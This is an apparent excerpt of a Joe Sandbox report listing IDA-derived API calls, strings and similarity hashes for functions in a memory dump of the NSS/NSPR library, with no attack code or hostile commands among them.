PL_FinishArenaPool.NSS3(?), ref: 6C9CA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CA158
PL_FinishArenaPool.NSS3(?), ref: 6C9CA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C9CA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C9CA1B2
free.MOZGLUE(00000000), ref: 6C9CA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C9CA1D6

Part of subcall function 6C9E55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C9BEAC5,00000001,?,6C9BCE9B,00000001,6C9BEAC5,00000003,-00000004,00000000,?,6C9BEAC5), ref: 6C9E5627
Part of subcall function 6C9E55E0: PR_CallOnce.NSS3(6CB02AA4,6CA012D0,?,?,?,?,?,?,?,?,?,?,6C9BEAC5,00000001,?,6C9BCE9B), ref: 6C9E564F
Part of subcall function 6C9E55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9BEAC5,00000001), ref: 6C9E5661
Part of subcall function 6C9E55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9BEAC5), ref: 6C9E56AF

Strings

security, xrefs: 6C9CA00F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 9ec02aeea76db18293efe37fd51250e47fdb9e31900d22346f28976c5b8fb84c
Instruction ID: f51148f700d7544e3dab6efdf02f5ac2b096fa8549ad552ca08d7b7642a7d3d7
Opcode Fuzzy Hash: 9ec02aeea76db18293efe37fd51250e47fdb9e31900d22346f28976c5b8fb84c
Instruction Fuzzy Hash: 8051F6B5F002099BEB01DBA4AD45BAF7378AF5634CF104024E805AAB41EF75DA49C7A3

Function 6C9E6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9E6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C9E6943
Part of subcall function 6C9E6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C9E6957
Part of subcall function 6C9E6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C9E6972
Part of subcall function 6C9E6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C9E6983
Part of subcall function 6C9E6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C9E69AA
Part of subcall function 6C9E6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C9E69BE
Part of subcall function 6C9E6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C9E69D2
Part of subcall function 6C9E6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C9E69DF
Part of subcall function 6C9E6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C9E6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C9E6D8C
free.MOZGLUE(00000000), ref: 6C9E6DC5
free.MOZGLUE(?), ref: 6C9E6DD6
free.MOZGLUE(?), ref: 6C9E6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C9E6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9E6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9E6E72
free.MOZGLUE(?), ref: 6C9E6EA7
free.MOZGLUE(?), ref: 6C9E6EC4
free.MOZGLUE(?), ref: 6C9E6ED5
free.MOZGLUE(00000000), ref: 6C9E6EE3
free.MOZGLUE(?), ref: 6C9E6EF4
free.MOZGLUE(?), ref: 6C9E6F08
free.MOZGLUE(00000000), ref: 6C9E6F35
free.MOZGLUE(?), ref: 6C9E6F44
free.MOZGLUE(?), ref: 6C9E6F5B
free.MOZGLUE(00000000), ref: 6C9E6F65

Part of subcall function 6C9E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C9E781D,00000000,6C9DBE2C,?,6C9E6B1D,?,?,?,?,00000000,00000000,6C9E781D), ref: 6C9E6C40
Part of subcall function 6C9E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C9E781D,?,6C9DBE2C,?), ref: 6C9E6C58
Part of subcall function 6C9E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C9E781D), ref: 6C9E6C6F
Part of subcall function 6C9E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C9E6C84
Part of subcall function 6C9E6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C9E6C96
Part of subcall function 6C9E6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C9E6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9E6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9E6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C9E6FF4

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: aa4ee12b17832b9c0f5f36e8e35d90ece5a1cd7a2d43ece2393ece2652c5b0a5
Instruction ID: 2233e60bdd8c17fadcc4e954d374994e9b0e14ab26a9b77854a365215c8d62b7
Opcode Fuzzy Hash: aa4ee12b17832b9c0f5f36e8e35d90ece5a1cd7a2d43ece2393ece2652c5b0a5
Instruction Fuzzy Hash: DFB181B0E0120D9FDF12DBA5D844B9E7BBCAF1D348F140028EA15E7A40E735E965CBA1

Function 6C9E4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9E4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C9E4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4DB7

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

TlsGetValue.KERNEL32 ref: 6C9E4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C9E4DEC
PR_Unlock.NSS3(?), ref: 6C9E4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C9E4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C9E4E71
free.MOZGLUE(00000000), ref: 6C9E4E7A
PR_Unlock.NSS3(?), ref: 6C9E4EA2
TlsGetValue.KERNEL32 ref: 6C9E4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C9E4ED6
PR_Unlock.NSS3(?), ref: 6C9E4F01
free.MOZGLUE(00000000), ref: 6C9E4F2A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 5b839e6fcf8f6db8c80c5c118bd386ebf911ff0de02c939172303f8e7609a581
Instruction ID: f0d6564684cd028b1a89655faa0d72740606929386feafe025021840bbd1b4e4
Opcode Fuzzy Hash: 5b839e6fcf8f6db8c80c5c118bd386ebf911ff0de02c939172303f8e7609a581
Instruction Fuzzy Hash: DBB1E575A002069FDB02EFA8DC44BAA77B8BF29318F048528ED1597B41E734E965CFD1

Function 6C9EFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFB4

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFC6

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFD6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFE6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFF6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0006
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0016
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0026
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0036
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0046
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0056
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0066
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0076
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0086
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0096
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00A6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00B6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00C6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00D6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F00E6

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 552adf5c2ed461522e77ad4cab00ef6d775ea900561ba3b30a7936ca71f55736
Instruction ID: 8319d2280a5d0d09c19628ac05ae50de8d29d0997a5bec47d70eab4bc6020223
Opcode Fuzzy Hash: 552adf5c2ed461522e77ad4cab00ef6d775ea900561ba3b30a7936ca71f55736
Instruction Fuzzy Hash: 1C31DFF0F016289E8B4ADF36968D14E3AF4B736A48B10512ED21887B11DBB4018ECF97

Function 6CA36E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CA36BF7), ref: 6CA36EB6

Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CADFC0A,6CA36BF7), ref: 6CA36ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA36EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CA36EFC
PR_NewLock.NSS3 ref: 6CA36F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA36F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CA36BF7), ref: 6CA36F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CA36BF7), ref: 6CA36F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CA36BF7), ref: 6CA36FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CA36BF7), ref: 6CA36FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CA36FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CA36FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CA36EF7
SSLFORCELOCKS, xrefs: 6CA36F2B
SSLKEYLOGFILE, xrefs: 6CA36EB1
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CA36F4F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 081907c07032a4df5dea4c5af78c6e096f7110d653b6a8140e925348f6c0de6c
Instruction ID: 1735acbf9591a2b1d29f490350cf46147f190fbf723d3dcf72d02fe0806d844d
Opcode Fuzzy Hash: 081907c07032a4df5dea4c5af78c6e096f7110d653b6a8140e925348f6c0de6c
Instruction Fuzzy Hash: 26A136B2B559B0C6E7105A2CDE2179832A1BBA7329F1C5369E838CBFD5DB3594C0C251

Function 6C9B5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C9B5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C9B5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C9B5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C9B5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C9B5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C9B5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C9B5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C9B5F89
free.MOZGLUE(?), ref: 6C9B5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9B5FB6
free.MOZGLUE(00000000), ref: 6C9B5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9B600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9B6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9B6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9B6094

Strings

, xrefs: 6C9B5EEB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: a4abb73240681ca07bad8842bc44c3c3b881c571e06518430d5142b72428362c
Instruction ID: 8f0d69e019c92d217bc90167e6ffd6f3325635111496cbae408fcd632fe2795e
Opcode Fuzzy Hash: a4abb73240681ca07bad8842bc44c3c3b881c571e06518430d5142b72428362c
Instruction Fuzzy Hash: FA81F3B1E00205ABDB10CE65DC85BAFB7B9AF44318F144128F819F7B91E731E869CB91

Function 6CAB79A0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 112threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3(00000000,?,?,6CAB798A), ref: 6CAB79A5

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

PR_LogPrint.NSS3(PR_Cleanup: shutting down NSPR), ref: 6CAB79D4
PR_Lock.NSS3 ref: 6CAB79EC
PR_WaitCondVar.NSS3(000000FF,6CAB798A), ref: 6CAB7A09
PR_Unlock.NSS3 ref: 6CAB7A37
PR_DestroyLock.NSS3(?,6CAB798A), ref: 6CAB7A4A
PR_DestroyLock.NSS3(?,?,6CAB798A), ref: 6CAB7A60
PR_DestroyLock.NSS3(?,?,?,6CAB798A), ref: 6CAB7A74
PR_DestroyCondVar.NSS3(?,?,?,?,6CAB798A), ref: 6CAB7A88
PR_DestroyLock.NSS3(?,?,?,?,?,?,6CAB798A), ref: 6CAB7AA5
PR_LogPrint.NSS3(PR_Cleanup: clean up before destroying thread,?,?,?,?,?,?,6CAB798A), ref: 6CAB7AD5
PR_DestroyLock.NSS3(?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB7B04
PR_DestroyLock.NSS3(?,?,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB7B25
PT_FPrintStats.NSS3(?,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB7B3C
PR_DestroyLock.NSS3(?,?,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB7B4B

Strings

PR_Cleanup: shutting down NSPR, xrefs: 6CAB79CF
PR_Cleanup: clean up before destroying thread, xrefs: 6CAB7AD0

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: DestroyLock$Print$Cond$CurrentStatsThreadUnlockValueWait
String ID: PR_Cleanup: clean up before destroying thread$PR_Cleanup: shutting down NSPR
API String ID: 1189278590-4285429502
Opcode ID: eaaeb4cf6d573bc1098bd3e831abb9580d6ec35168c362c862632ef073852212
Instruction ID: e057948a9d451279dedd93fc235ed5b544e683bd88f378fb8575d41c5b151424
Opcode Fuzzy Hash: eaaeb4cf6d573bc1098bd3e831abb9580d6ec35168c362c862632ef073852212
Instruction Fuzzy Hash: ED4165F5F012445BEF019F61EE48B8636B9AB6220CF48412CD805A7B51EB72D5DCCA63

Function 6C991FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C992007
calloc.MOZGLUE(00000001,00000084), ref: 6C992077
calloc.MOZGLUE(00000001,0000002C), ref: 6C9920DF
TlsSetValue.KERNEL32(00000000), ref: 6C992188
PR_NewCondVar.NSS3 ref: 6C9921B7
calloc.MOZGLUE(00000001,00000084), ref: 6C99221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C9922C2
GetLastError.KERNEL32 ref: 6C9922CD
free.MOZGLUE(00000000), ref: 6C9922DD

Part of subcall function 6C990F00: PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B
Part of subcall function 6C990F00: PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 65e40b19eed1ab3e68dda6aa6bb8b19d14454aa768b07e8f5dfc7eb35d438fb6
Instruction ID: c6636dba8fd9750f4b4c7736a2824d1047ad7b40f2ca56783716e6c591edf9f9
Opcode Fuzzy Hash: 65e40b19eed1ab3e68dda6aa6bb8b19d14454aa768b07e8f5dfc7eb35d438fb6
Instruction Fuzzy Hash: 4C916D70B017029FDB24AF39980975A7AF8BB16709F08452EE45AD7A40EB70E509CF92

Function 6C99F850 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 262COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE004,00000000), ref: 6C99F86F

